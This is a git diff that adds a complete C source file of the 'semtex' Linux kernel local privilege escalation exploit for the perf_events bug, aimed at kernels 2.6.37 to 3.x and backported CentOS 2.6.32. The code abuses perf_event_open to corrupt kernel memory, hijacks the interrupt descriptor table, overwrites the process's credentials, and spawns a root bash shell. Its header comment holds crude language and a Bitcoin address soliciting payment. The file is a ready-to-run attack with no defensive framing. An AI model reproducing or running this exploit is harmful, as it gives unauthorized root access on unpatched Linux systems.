diff --git a/c/exploits/2013.05.14/perf_events.c b/c/exploits/2013.05.14/perf_events.c
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+/*
+ * linux 2.6.37-3.x.x x86_64, ~100 LOC
+ * gcc-4.6 -O2 semtex.c && ./a.out
+ * 2010 sd@fucksheep.org, salut!
+ *
+ * update may 2013:
+ * seems like centos 2.6.32 backported the perf bug, lol.
+ * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
+ */
+
+#define _GNU_SOURCE 1
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <syscall.h>
+#include <stdint.h>
+#include <assert.h>
+
+#define BASE  0x380000000
+#define SIZE  0x010000000
+#define KSIZE  0x2000000
+#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
+
+void fuck() {
+  int i,j,k;
+  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
+  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
+  uint64_t kbase = ((uint64_t)current)>>36;
+  uint32_t *fixptr = (void*) AB(1);
+  *fixptr = -1;
+
+  for (i=0; i<4000; i+=4) {
+    uint64_t *p = (void *)&current[i];
+    uint32_t *t = (void*) p[0];
+    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
+    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
+      if (((uint32_t*)uids)[k] != t[j+k]) goto next;
+      for (i = 0; i < 8; i++) t[j+i] = 0;
+      for (i = 0; i < 10; i++) t[j+9+i] = -1;
+      return;
+next:;    }
+  }
+}
+
+void sheep(uint32_t off) {
+  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
+  int fd = syscall(298, buf, 0, -1, -1, 0);
+  assert(!close(fd));
+}
+
+
+int  main() {
+  uint64_t  u,g,needle, kbase, *p; uint8_t *code;
+  uint32_t *map, j = 5;
+  int i;
+  struct {
+    uint16_t limit;
+    uint64_t addr;
+  } __attribute__((packed)) idt;
+  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
+  memset(map, 0, SIZE);
+  sheep(-1); sheep(-2);
+  for (i = 0; i < SIZE/4; i++) if (map[i]) {
+    assert(map[i+1]);
+    break;
+  }
+  assert(i<SIZE/4);
+  asm ("sidt %0" : "=m" (idt));
+  kbase = idt.addr & 0xff000000;
+  u = getuid(); g = getgid();
+  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
+  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
+  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
+    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
+  setresuid(u,u,u); setresgid(g,g,g);
+  while (j--) {
+    needle = AB(j+1);
+    assert(p = memmem(code, 1024, &needle, 8));
+    if (!p) continue;
+    *p = j?((g<<32)|u):(idt.addr + 0x48);
+  }
+  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
+  asm("int $0x4");  assert(!setuid(0));
+  return execl("/bin/bash", "-sh", NULL);
+}
+